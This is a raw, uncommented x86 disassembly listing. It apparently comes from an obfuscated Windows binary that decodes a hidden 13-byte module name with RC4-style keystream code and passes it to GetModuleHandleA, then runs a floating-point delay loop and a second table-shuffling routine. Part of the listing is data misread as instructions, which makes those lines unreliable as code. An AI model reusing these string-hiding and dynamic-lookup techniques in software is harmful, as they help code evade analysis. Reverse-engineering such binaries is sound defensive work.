or edx, dword [ebp - 0x3f18]
mov dword [ebp - 0x3f1c], edx
mov al, byte [ebp - 0x3f1c]
mov byte [ebp - 0x3644], al
movzx ecx, byte [ebp - 0x35f6]
shl ecx, 0
lea edx, [ebp - 0x1c10]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3642], al
movzx ecx, byte [ebp - 0x3585]
shl ecx, 0
lea edx, [ebp - 0x1c10]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x35aa]
add ecx, eax
mov byte [ebp - 0x35aa], cl
mov dl, byte [ebp - 0x3585]
add dl, 1
mov byte [ebp - 0x3585], dl
movzx eax, byte [ebp - 0x35aa]
shl eax, 0
lea ecx, [ebp - 0x1c10]
movzx edx, byte [ebp - 0x35f6]
shl edx, 0
lea esi, [ebp - 0x1c10]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x35ab]
shl ecx, 0
lea edx, [ebp - 0x1c10]
movzx eax, byte [ebp - 0x35aa]
shl eax, 0
lea esi, [ebp - 0x1c10]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3585]
shl edx, 0
lea eax, [ebp - 0x1c10]
movzx ecx, byte [ebp - 0x35ab]
shl ecx, 0
lea esi, [ebp - 0x1c10]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3585]
shl eax, 0
lea ecx, [ebp - 0x1c10]
mov dl, byte [ebp - 0x3642]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x3642]
shl eax, 0
lea ecx, [ebp - 0x1c10]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3643]
add eax, edx
mov byte [ebp - 0x3643], al
movzx ecx, byte [ebp - 0x3644]
movzx edx, byte [ebp - 0x35aa]
shl edx, 0
lea eax, [ebp - 0x1c10]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3585]
shl eax, 0
lea esi, [ebp - 0x1c10]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x1c10]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x35ab]
shl eax, 0
lea edx, [ebp - 0x1c10]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x35f6]
shl edx, 0
lea esi, [ebp - 0x1c10]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x3643]
shl edx, 0
lea esi, [ebp - 0x1c10]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x1c10]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x1c10]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x35ab], cl
mov cl, byte [ebp - 0x3644]
mov byte [ebp - 0x35f6], cl
mov dl, byte [ebp - 0x35ab]
mov byte [ebp - 0x3759], dl
cmp dword [ebp - 0x3714], 0
jbe 0x480634
mov eax, dword [ebp - 0x3714]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x5fc]
mov dl, byte [ebp - 0x3759]
mov byte [eax + ecx], dl
jmp 0x480362
mov eax, dword [ebp - 0x39c8]
add eax, 1
mov dword [ebp - 0x39c8], eax
mov ecx, dword [ebp - 0x3714]
add ecx, 1
mov dword [ebp - 0x3714], ecx
mov edx, dword [ebp - 0x39c8]
add edx, 1
mov dword [ebp - 0x39c8], edx
mov eax, dword [ebp - 0x3714]
shl eax, 1
mov dword [ebp - 0x3f0c], eax
mov ecx, dword [ebp - 0x3f0c]
shl ecx, 0
add ecx, dword [ebp - 0x4100]
movzx edx, byte [ecx]
mov dword [ebp - 0x3de4], edx
mov dword [ebp - 0x3de8], 0x99
mov eax, dword [ebp - 0x3714]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3f10], eax
mov ecx, dword [ebp - 0x3f10]
shl ecx, 0
add ecx, dword [ebp - 0x4100]
movzx edx, byte [ecx]
mov dword [ebp - 0x3dec], edx
mov dword [ebp - 0x3df0], 0xd7
mov eax, dword [ebp - 0x3de4]
sub eax, dword [ebp - 0x3de8]
mov dword [ebp - 0x3df4], eax
mov ecx, dword [ebp - 0x3dec]
sub ecx, dword [ebp - 0x3df0]
mov dword [ebp - 0x3df8], ecx
mov edx, dword [ebp - 0x3df4]
shl edx, 4
mov dword [ebp - 0x3f14], edx
mov eax, dword [ebp - 0x3df8]
mov dword [ebp - 0x3f18], eax
mov ecx, dword [ebp - 0x3f14]
or ecx, dword [ebp - 0x3f18]
mov dword [ebp - 0x3f1c], ecx
mov dl, byte [ebp - 0x3f1c]
mov byte [ebp - 0x3644], dl
movzx eax, byte [ebp - 0x35f6]
shl eax, 0
lea ecx, [ebp - 0x1c10]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3642], dl
movzx eax, byte [ebp - 0x3585]
shl eax, 0
lea ecx, [ebp - 0x1c10]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x35aa]
add eax, edx
mov byte [ebp - 0x35aa], al
mov cl, byte [ebp - 0x3585]
add cl, 1
mov byte [ebp - 0x3585], cl
movzx edx, byte [ebp - 0x35aa]
shl edx, 0
lea eax, [ebp - 0x1c10]
movzx ecx, byte [ebp - 0x35f6]
shl ecx, 0
lea esi, [ebp - 0x1c10]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x35ab]
shl eax, 0
lea ecx, [ebp - 0x1c10]
movzx edx, byte [ebp - 0x35aa]
shl edx, 0
lea esi, [ebp - 0x1c10]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3585]
shl ecx, 0
lea edx, [ebp - 0x1c10]
movzx eax, byte [ebp - 0x35ab]
shl eax, 0
lea esi, [ebp - 0x1c10]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3585]
shl edx, 0
lea eax, [ebp - 0x1c10]
mov cl, byte [ebp - 0x3642]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x3642]
shl edx, 0
lea eax, [ebp - 0x1c10]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3643]
add edx, ecx
mov byte [ebp - 0x3643], dl
movzx eax, byte [ebp - 0x3644]
movzx ecx, byte [ebp - 0x35aa]
shl ecx, 0
lea edx, [ebp - 0x1c10]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x3585]
shl edx, 0
lea esi, [ebp - 0x1c10]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x1c10]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x35ab]
shl edx, 0
lea ecx, [ebp - 0x1c10]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x35f6]
shl ecx, 0
lea esi, [ebp - 0x1c10]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x3643]
shl ecx, 0
lea esi, [ebp - 0x1c10]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x1c10]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x1c10]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x35ab], al
mov al, byte [ebp - 0x3644]
mov byte [ebp - 0x35f6], al
mov cl, byte [ebp - 0x35ab]
mov byte [ebp - 0x3759], cl
cmp dword [ebp - 0x3714], 0
jbe 0x480909
mov edx, dword [ebp - 0x3714]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x5fc]
mov cl, byte [ebp - 0x3759]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x39c8]
add edx, 4
mov dword [ebp - 0x39c8], edx
mov eax, dword [ebp - 0x3714]
add eax, 1
mov dword [ebp - 0x4e18], eax
jmp 0x480938
mov ecx, dword [ebp - 0x4e18]
add ecx, 1
mov dword [ebp - 0x4e18], ecx
mov edx, dword [ebp - 0x4e18]
cmp edx, dword [ebp - 0x39c8]
jge 0x480c00
mov eax, dword [ebp - 0x3714]
add eax, 1
mov dword [ebp - 0x3714], eax
mov ecx, dword [ebp - 0x3714]
shl ecx, 1
mov dword [ebp - 0x3f0c], ecx
mov edx, dword [ebp - 0x3f0c]
shl edx, 0
add edx, dword [ebp - 0x4100]
movzx eax, byte [edx]
mov dword [ebp - 0x3de4], eax
mov dword [ebp - 0x3de8], 0x99
mov ecx, dword [ebp - 0x3714]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3f10], ecx
mov edx, dword [ebp - 0x3f10]
shl edx, 0
add edx, dword [ebp - 0x4100]
movzx eax, byte [edx]
mov dword [ebp - 0x3dec], eax
mov dword [ebp - 0x3df0], 0xd7
mov ecx, dword [ebp - 0x3de4]
sub ecx, dword [ebp - 0x3de8]
mov dword [ebp - 0x3df4], ecx
mov edx, dword [ebp - 0x3dec]
sub edx, dword [ebp - 0x3df0]
mov dword [ebp - 0x3df8], edx
mov eax, dword [ebp - 0x3df4]
shl eax, 4
mov dword [ebp - 0x3f14], eax
mov ecx, dword [ebp - 0x3df8]
mov dword [ebp - 0x3f18], ecx
mov edx, dword [ebp - 0x3f14]
or edx, dword [ebp - 0x3f18]
mov dword [ebp - 0x3f1c], edx
mov al, byte [ebp - 0x3f1c]
mov byte [ebp - 0x3644], al
movzx ecx, byte [ebp - 0x35f6]
shl ecx, 0
lea edx, [ebp - 0x1c10]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3642], al
movzx ecx, byte [ebp - 0x3585]
shl ecx, 0
lea edx, [ebp - 0x1c10]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x35aa]
add ecx, eax
mov byte [ebp - 0x35aa], cl
mov dl, byte [ebp - 0x3585]
add dl, 1
mov byte [ebp - 0x3585], dl
movzx eax, byte [ebp - 0x35aa]
shl eax, 0
lea ecx, [ebp - 0x1c10]
movzx edx, byte [ebp - 0x35f6]
shl edx, 0
lea esi, [ebp - 0x1c10]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x35ab]
shl ecx, 0
lea edx, [ebp - 0x1c10]
movzx eax, byte [ebp - 0x35aa]
shl eax, 0
lea esi, [ebp - 0x1c10]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3585]
shl edx, 0
lea eax, [ebp - 0x1c10]
movzx ecx, byte [ebp - 0x35ab]
shl ecx, 0
lea esi, [ebp - 0x1c10]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3585]
shl eax, 0
lea ecx, [ebp - 0x1c10]
mov dl, byte [ebp - 0x3642]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x3642]
shl eax, 0
lea ecx, [ebp - 0x1c10]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3643]
add eax, edx
mov byte [ebp - 0x3643], al
movzx ecx, byte [ebp - 0x3644]
movzx edx, byte [ebp - 0x35aa]
shl edx, 0
lea eax, [ebp - 0x1c10]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3585]
shl eax, 0
lea esi, [ebp - 0x1c10]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x1c10]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x35ab]
shl eax, 0
lea edx, [ebp - 0x1c10]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x35f6]
shl edx, 0
lea esi, [ebp - 0x1c10]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x3643]
shl edx, 0
lea esi, [ebp - 0x1c10]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x1c10]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x1c10]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x35ab], cl
mov cl, byte [ebp - 0x3644]
mov byte [ebp - 0x35f6], cl
mov dl, byte [ebp - 0x35ab]
mov byte [ebp - 0x3759], dl
cmp dword [ebp - 0x3714], 0
jbe 0x480bfb
mov eax, dword [ebp - 0x3714]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x5fc]
mov dl, byte [ebp - 0x3759]
mov byte [eax + ecx], dl
jmp 0x480929
mov eax, dword [ebp - 0x39c8]
add eax, 1
mov dword [ebp - 0x39c8], eax
mov ecx, dword [ebp - 0x3714]
add ecx, 1
mov dword [ebp - 0x3714], ecx
mov edx, dword [ebp - 0x39c8]
add edx, 1
mov dword [ebp - 0x39c8], edx
mov eax, dword [ebp - 0x3714]
shl eax, 1
mov dword [ebp - 0x3f0c], eax
mov ecx, dword [ebp - 0x3f0c]
shl ecx, 0
add ecx, dword [ebp - 0x4100]
movzx edx, byte [ecx]
mov dword [ebp - 0x3de4], edx
mov dword [ebp - 0x3de8], 0x99
mov eax, dword [ebp - 0x3714]
shl eax, 1
add eax, 1
mov dword [ebp - 0x3f10], eax
mov ecx, dword [ebp - 0x3f10]
shl ecx, 0
add ecx, dword [ebp - 0x4100]
movzx edx, byte [ecx]
mov dword [ebp - 0x3dec], edx
mov dword [ebp - 0x3df0], 0xd7
mov eax, dword [ebp - 0x3de4]
sub eax, dword [ebp - 0x3de8]
mov dword [ebp - 0x3df4], eax
mov ecx, dword [ebp - 0x3dec]
sub ecx, dword [ebp - 0x3df0]
mov dword [ebp - 0x3df8], ecx
mov edx, dword [ebp - 0x3df4]
shl edx, 4
mov dword [ebp - 0x3f14], edx
mov eax, dword [ebp - 0x3df8]
mov dword [ebp - 0x3f18], eax
mov ecx, dword [ebp - 0x3f14]
or ecx, dword [ebp - 0x3f18]
mov dword [ebp - 0x3f1c], ecx
mov dl, byte [ebp - 0x3f1c]
mov byte [ebp - 0x3644], dl
movzx eax, byte [ebp - 0x35f6]
shl eax, 0
lea ecx, [ebp - 0x1c10]
mov dl, byte [eax + ecx]
mov byte [ebp - 0x3642], dl
movzx eax, byte [ebp - 0x3585]
shl eax, 0
lea ecx, [ebp - 0x1c10]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x35aa]
add eax, edx
mov byte [ebp - 0x35aa], al
mov cl, byte [ebp - 0x3585]
add cl, 1
mov byte [ebp - 0x3585], cl
movzx edx, byte [ebp - 0x35aa]
shl edx, 0
lea eax, [ebp - 0x1c10]
movzx ecx, byte [ebp - 0x35f6]
shl ecx, 0
lea esi, [ebp - 0x1c10]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x35ab]
shl eax, 0
lea ecx, [ebp - 0x1c10]
movzx edx, byte [ebp - 0x35aa]
shl edx, 0
lea esi, [ebp - 0x1c10]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x3585]
shl ecx, 0
lea edx, [ebp - 0x1c10]
movzx eax, byte [ebp - 0x35ab]
shl eax, 0
lea esi, [ebp - 0x1c10]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3585]
shl edx, 0
lea eax, [ebp - 0x1c10]
mov cl, byte [ebp - 0x3642]
mov byte [edx + eax], cl
movzx edx, byte [ebp - 0x3642]
shl edx, 0
lea eax, [ebp - 0x1c10]
movzx ecx, byte [edx + eax]
movzx edx, byte [ebp - 0x3643]
add edx, ecx
mov byte [ebp - 0x3643], dl
movzx eax, byte [ebp - 0x3644]
movzx ecx, byte [ebp - 0x35aa]
shl ecx, 0
lea edx, [ebp - 0x1c10]
movzx ecx, byte [ecx + edx]
movzx edx, byte [ebp - 0x3585]
shl edx, 0
lea esi, [ebp - 0x1c10]
movzx edx, byte [edx + esi]
add ecx, edx
and ecx, 0xff
shl ecx, 0
lea edx, [ebp - 0x1c10]
movzx ecx, byte [ecx + edx]
xor eax, ecx
movzx edx, byte [ebp - 0x35ab]
shl edx, 0
lea ecx, [ebp - 0x1c10]
movzx edx, byte [edx + ecx]
movzx ecx, byte [ebp - 0x35f6]
shl ecx, 0
lea esi, [ebp - 0x1c10]
movzx ecx, byte [ecx + esi]
add edx, ecx
movzx ecx, byte [ebp - 0x3643]
shl ecx, 0
lea esi, [ebp - 0x1c10]
movzx ecx, byte [ecx + esi]
add edx, ecx
and edx, 0xff
shl edx, 0
lea ecx, [ebp - 0x1c10]
movzx edx, byte [edx + ecx]
shl edx, 0
lea ecx, [ebp - 0x1c10]
movzx edx, byte [edx + ecx]
xor eax, edx
mov byte [ebp - 0x35ab], al
mov al, byte [ebp - 0x3644]
mov byte [ebp - 0x35f6], al
mov cl, byte [ebp - 0x35ab]
mov byte [ebp - 0x3759], cl
cmp dword [ebp - 0x3714], 0
jbe 0x480ed0
mov edx, dword [ebp - 0x3714]
sub edx, 1
shl edx, 0
lea eax, [ebp - 0x5fc]
mov cl, byte [ebp - 0x3759]
mov byte [edx + eax], cl
mov edx, dword [ebp - 0x3714]
add edx, 1
mov dword [ebp - 0x3714], edx
mov eax, dword [ebp - 0x39c8]
add eax, 1
mov dword [ebp - 0x39c8], eax
mov ecx, dword [ebp - 0x3714]
shl ecx, 1
mov dword [ebp - 0x3f0c], ecx
mov edx, dword [ebp - 0x3f0c]
shl edx, 0
add edx, dword [ebp - 0x4100]
movzx eax, byte [edx]
mov dword [ebp - 0x3de4], eax
mov dword [ebp - 0x3de8], 0x99
mov ecx, dword [ebp - 0x3714]
shl ecx, 1
add ecx, 1
mov dword [ebp - 0x3f10], ecx
mov edx, dword [ebp - 0x3f10]
shl edx, 0
add edx, dword [ebp - 0x4100]
movzx eax, byte [edx]
mov dword [ebp - 0x3dec], eax
mov dword [ebp - 0x3df0], 0xd7
mov ecx, dword [ebp - 0x3de4]
sub ecx, dword [ebp - 0x3de8]
mov dword [ebp - 0x3df4], ecx
mov edx, dword [ebp - 0x3dec]
sub edx, dword [ebp - 0x3df0]
mov dword [ebp - 0x3df8], edx
mov eax, dword [ebp - 0x3df4]
shl eax, 4
mov dword [ebp - 0x3f14], eax
mov ecx, dword [ebp - 0x3df8]
mov dword [ebp - 0x3f18], ecx
mov edx, dword [ebp - 0x3f14]
or edx, dword [ebp - 0x3f18]
mov dword [ebp - 0x3f1c], edx
mov al, byte [ebp - 0x3f1c]
mov byte [ebp - 0x3644], al
movzx ecx, byte [ebp - 0x35f6]
shl ecx, 0
lea edx, [ebp - 0x1c10]
mov al, byte [ecx + edx]
mov byte [ebp - 0x3642], al
movzx ecx, byte [ebp - 0x3585]
shl ecx, 0
lea edx, [ebp - 0x1c10]
movzx eax, byte [ecx + edx]
movzx ecx, byte [ebp - 0x35aa]
add ecx, eax
mov byte [ebp - 0x35aa], cl
mov dl, byte [ebp - 0x3585]
add dl, 1
mov byte [ebp - 0x3585], dl
movzx eax, byte [ebp - 0x35aa]
shl eax, 0
lea ecx, [ebp - 0x1c10]
movzx edx, byte [ebp - 0x35f6]
shl edx, 0
lea esi, [ebp - 0x1c10]
mov al, byte [eax + ecx]
mov byte [edx + esi], al
movzx ecx, byte [ebp - 0x35ab]
shl ecx, 0
lea edx, [ebp - 0x1c10]
movzx eax, byte [ebp - 0x35aa]
shl eax, 0
lea esi, [ebp - 0x1c10]
mov cl, byte [ecx + edx]
mov byte [eax + esi], cl
movzx edx, byte [ebp - 0x3585]
shl edx, 0
lea eax, [ebp - 0x1c10]
movzx ecx, byte [ebp - 0x35ab]
shl ecx, 0
lea esi, [ebp - 0x1c10]
mov dl, byte [edx + eax]
mov byte [ecx + esi], dl
movzx eax, byte [ebp - 0x3585]
shl eax, 0
lea ecx, [ebp - 0x1c10]
mov dl, byte [ebp - 0x3642]
mov byte [eax + ecx], dl
movzx eax, byte [ebp - 0x3642]
shl eax, 0
lea ecx, [ebp - 0x1c10]
movzx edx, byte [eax + ecx]
movzx eax, byte [ebp - 0x3643]
add eax, edx
mov byte [ebp - 0x3643], al
movzx ecx, byte [ebp - 0x3644]
movzx edx, byte [ebp - 0x35aa]
shl edx, 0
lea eax, [ebp - 0x1c10]
movzx edx, byte [edx + eax]
movzx eax, byte [ebp - 0x3585]
shl eax, 0
lea esi, [ebp - 0x1c10]
movzx eax, byte [eax + esi]
add edx, eax
and edx, 0xff
shl edx, 0
lea eax, [ebp - 0x1c10]
movzx edx, byte [edx + eax]
xor ecx, edx
movzx eax, byte [ebp - 0x35ab]
shl eax, 0
lea edx, [ebp - 0x1c10]
movzx eax, byte [eax + edx]
movzx edx, byte [ebp - 0x35f6]
shl edx, 0
lea esi, [ebp - 0x1c10]
movzx edx, byte [edx + esi]
add eax, edx
movzx edx, byte [ebp - 0x3643]
shl edx, 0
lea esi, [ebp - 0x1c10]
movzx edx, byte [edx + esi]
add eax, edx
and eax, 0xff
shl eax, 0
lea edx, [ebp - 0x1c10]
movzx eax, byte [eax + edx]
shl eax, 0
lea edx, [ebp - 0x1c10]
movzx eax, byte [eax + edx]
xor ecx, eax
mov byte [ebp - 0x35ab], cl
mov cl, byte [ebp - 0x3644]
mov byte [ebp - 0x35f6], cl
mov dl, byte [ebp - 0x35ab]
mov byte [ebp - 0x3759], dl
cmp dword [ebp - 0x3714], 0
jbe 0x481190
mov eax, dword [ebp - 0x3714]
sub eax, 1
shl eax, 0
lea ecx, [ebp - 0x5fc]
mov dl, byte [ebp - 0x3759]
mov byte [eax + ecx], dl
mov eax, 1
imul ecx, eax, 0xc
mov dword [ebp - 0x5f60], ecx
cmp dword [ebp - 0x5f60], 0xd
jae 0x4811a9
jmp 0x4811ae
call fcn.009b6d77
lea edx, [ebp - 0x5fc]
add edx, dword [ebp - 0x5f60]
mov byte [edx], 0
jmp 0x481210
mov dword [ebp - 0x3714], 0
jmp 0x4811da
mov eax, dword [ebp - 0x3714]
add eax, 1
mov dword [ebp - 0x3714], eax
cmp dword [ebp - 0x3714], 0xd
jae 0x481210
mov ecx, dword [ebp - 0x3714]
mov dword [ebp - 0x5f5c], ecx
cmp dword [ebp - 0x5f5c], 0xd
jae 0x4811fa
jmp 0x4811ff
call fcn.009b6d77
lea edx, [ebp - 0x5fc]
add edx, dword [ebp - 0x5f5c]
mov byte [edx], 0
jmp 0x4811cb
lea eax, [ebp - 0x5fc]
push eax
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
mov dword [ebp - 0x37e4], eax
xorps xmm0, xmm0
movsd qword [ebp - 0x56d0], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5390], xmm0
mov dword [ebp - 0x36d0], 0
mov dword [ebp - 0x4e1c], 0
mov dword [ebp - 0x58dc], 0
mov dword [ebp - 0x5414], 1
mov dword [ebp - 0x48a8], 0
mov dword [ebp - 0x5d38], 0
mov dword [ebp - 0x38d8], 0
mov dword [ebp - 0x3d80], 0
mov dword [ebp - 0x3c04], 0
mov dword [ebp - 0x3c08], 0
mov dword [ebp - 0x3d7c], 0
mov dword [ebp - 0x3c0c], 0
mov dword [ebp - 0x3c10], 0
mov dword [ebp - 0x3c14], 0
mov dword [ebp - 0x3c18], 0
mov dword [ebp - 0x3d78], 0
mov dword [ebp - 0x3d74], 0
mov dword [ebp - 0x3d70], 0
mov dword [ebp - 0x4e20], 0
mov byte [ebp - 0x3572], 0
mov byte [ebp - 0x358c], 0
mov byte [ebp - 0x3631], 0
mov byte [ebp - 0x358d], 0
mov byte [ebp - 0x35be], 0
mov byte [ebp - 0x3776], 0
mov byte [ebp - 0x41a2], 0
mov byte [ebp - 0x3632], 0
mov byte [ebp - 0x3630], 0
mov byte [ebp - 0x36fc], 0
xorps xmm0, xmm0
movsd qword [ebp - 0x56d0], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5390], xmm0
xorps xmm0, xmm0
movsd qword [ebp - 0x5390], xmm0
jmp 0x481378
movsd xmm0, qword [ebp - 0x5390]
addsd xmm0, qword [0x9d9048]
movsd qword [ebp - 0x5390], xmm0
movsd xmm0, qword [0x9db258]
comisd xmm0, xmmword [ebp - 0x5390]
jbe 0x481429
movsd xmm0, qword [0x9da250]
mulsd xmm0, qword [ebp - 0x5390]
mulsd xmm0, qword [ebp - 0x5390]
movsd xmm1, qword [ebp - 0x5390]
mulsd xmm1, qword [ebp - 0x5390]
subsd xmm0, xmm1
movsd xmm1, qword [0x9d9e80]
mulsd xmm1, qword [ebp - 0x5390]
mulsd xmm1, qword [ebp - 0x5390]
addsd xmm1, qword [0x9da068]
divsd xmm0, xmm1
addsd xmm0, qword [ebp - 0x56d0]
movsd qword [ebp - 0x56d0], xmm0
movsd xmm0, qword [ebp - 0x56d0]
comisd xmm0, xmmword [0x9da190]
jbe 0x481424
movsd xmm0, qword [0x9d9dc0]
mulsd xmm0, qword [ebp - 0x5390]
movsd xmm1, qword [ebp - 0x56d0]
subsd xmm1, xmm0
movsd qword [ebp - 0x56d0], xmm1
jmp 0x481360
xorps xmm0, xmm0
comisd xmm0, xmmword [ebp - 0x56d0]
jbe 0x48146e
xor al, 0x6a
jnp 0x48149e
and dword [esi + ebp*2], esp
jnp 0x4814b5
bound ebx, qword [ecx + 0x5a]
popal
dec ebx
outsd dx, dword [esi]
inc edx
push edi
inc esi
sub bh, byte [edx]
aas
in eax, dx
cmp eax, 0x43f037e5
out 0x3f, al
invalid
mov dword [ebp - 0x61ec], 0x48144b
mov dword [ebp - 0x61f0], 0x481436
mov ecx, dword [ebp - 0x61ec]
mov dword [ebp - 0x3dfc], ecx
mov edx, dword [ebp - 0x61f0]
mov dword [ebp - 0x61f4], edx
mov byte [ebp - 0x41a2], 0x19
mov dword [ebp - 0x36d0], 0
mov dword [ebp - 0x4e1c], 0
invalid
mov dword [ebp - 0x36d0], 0
jmp 0x4814d0
mov eax, dword [ebp - 0x36d0]
add eax, 1
mov dword [ebp - 0x36d0], eax
cmp dword [ebp - 0x36d0], 0x100
jae 0x4814f6
mov ecx, dword [ebp - 0x36d0]
shl ecx, 0
lea edx, [ebp - 0xf9c]
mov al, byte [ebp - 0x36d0]
mov byte [ecx + edx], al
jmp 0x4814c1
mov dword [ebp - 0x4e1c], 0
mov byte [ebp - 0x3776], 0
mov dword [ebp - 0x36d0], 0xff
jmp 0x481522
mov ecx, dword [ebp - 0x36d0]
sub ecx, 1
mov dword [ebp - 0x36d0], ecx
cmp dword [ebp - 0x36d0], 0
jbe 0x4817e8
mov dword [ebp - 0x58dc], 0
mov dword [ebp - 0x5414], 1
mov dword [ebp - 0x48a8], 0
mov edx, dword [ebp - 0x5414]
cmp edx, dword [ebp - 0x36d0]
jae 0x48156e
mov eax, dword [ebp - 0x5414]
shl eax, 1
add eax, 1
mov dword [ebp - 0x5414], eax
jmp 0x48154d
mov ecx, dword [ebp - 0x4e1c]
mov dword [ebp - 0x5f58], ecx
cmp dword [ebp - 0x5f58], 3
ja case.default.0x48158d
mov edx, dword [ebp - 0x5f58]
jmp dword [edx*4 + 0x4f074c]
movzx eax, byte [ebp - 0x3776]
shl eax, 0
lea ecx, [ebp - 0xf9c]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x56d0]
call fcn.009b6e60
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3776], bl
jmp 0x481694
movzx edx, byte [ebp - 0x3776]
shl edx, 0
lea eax, [ebp - 0xf9c]
movzx ebx, byte [edx + eax]
movsd xmm0, qword [ebp - 0x56d0]
call fcn.009b6e60
shr eax, 8
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3776], bl
jmp 0x481694
movzx ecx, byte [ebp - 0x3776]
shl ecx, 0
lea edx, [ebp - 0xf9c]
movzx ebx, byte [ecx + edx]
movsd xmm0, qword [ebp - 0x56d0]
call fcn.009b6e60
shr eax, 0x10
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3776], bl
jmp 0x481694
movzx eax, byte [ebp - 0x3776]
shl eax, 0
lea ecx, [ebp - 0xf9c]
movzx ebx, byte [eax + ecx]
movsd xmm0, qword [ebp - 0x56d0]
call fcn.009b6e60
shr eax, 0x18
and eax, 0xff
add ebx, eax
mov byte [ebp - 0x3776], bl
jmp 0x481694
movzx edx, byte [ebp - 0x3776]
shl edx, 0
lea eax, [ebp - 0xf9c]
movzx ecx, byte [edx + eax]
mov edx, dword [ebp - 0x4e1c]
sub edx, 4
shl edx, 0
add edx, dword [ebp - 0x61f4]
movzx eax, byte [edx]
add ecx, eax
mov byte [ebp - 0x3776], cl
mov ecx, dword [ebp - 0x4e1c]
add ecx, 1
mov dword [ebp - 0x4e1c], ecx
movzx edx, byte [ebp - 0x41a2]
cmp dword [ebp - 0x4e1c], edx
jb 0x4816d2
mov dword [ebp - 0x4e1c], 0
movzx eax, byte [ebp - 0x41a2]
movzx ecx, byte [ebp - 0x3776]
add ecx, eax
mov byte [ebp - 0x3776], cl
movzx edx, byte [ebp - 0x3776]
and edx, dword [ebp - 0x5414]
mov dword [ebp - 0x48a8], edx
mov eax, dword [ebp - 0x58dc]
add eax, 1
mov dword [ebp - 0x58dc], eax
cmp dword [ebp - 0x58dc], 0xb
jbe 0x481711
mov eax, dword [ebp - 0x48a8]
xor edx, edx
div dword [ebp - 0x36d0]
mov dword [ebp - 0x48a8], edx
mov ecx, dword [ebp - 0x48a8]
cmp ecx, dword [ebp - 0x36d0]
ja 0x48156e
mov edx, dword [ebp - 0x36d0]
cmp edx, dword [ebp - 0x48a8]
je 0x4817e3
mov eax, dword [ebp - 0x36d0]
shl eax, 0
lea ecx, [ebp - 0xf9c]
mov edx, dword [ebp - 0x48a8]
shl edx, 0
lea esi, [ebp - 0xf9c]
movzx edx, byte [edx + esi]
movzx eax, byte [eax + ecx]
xor eax, edx
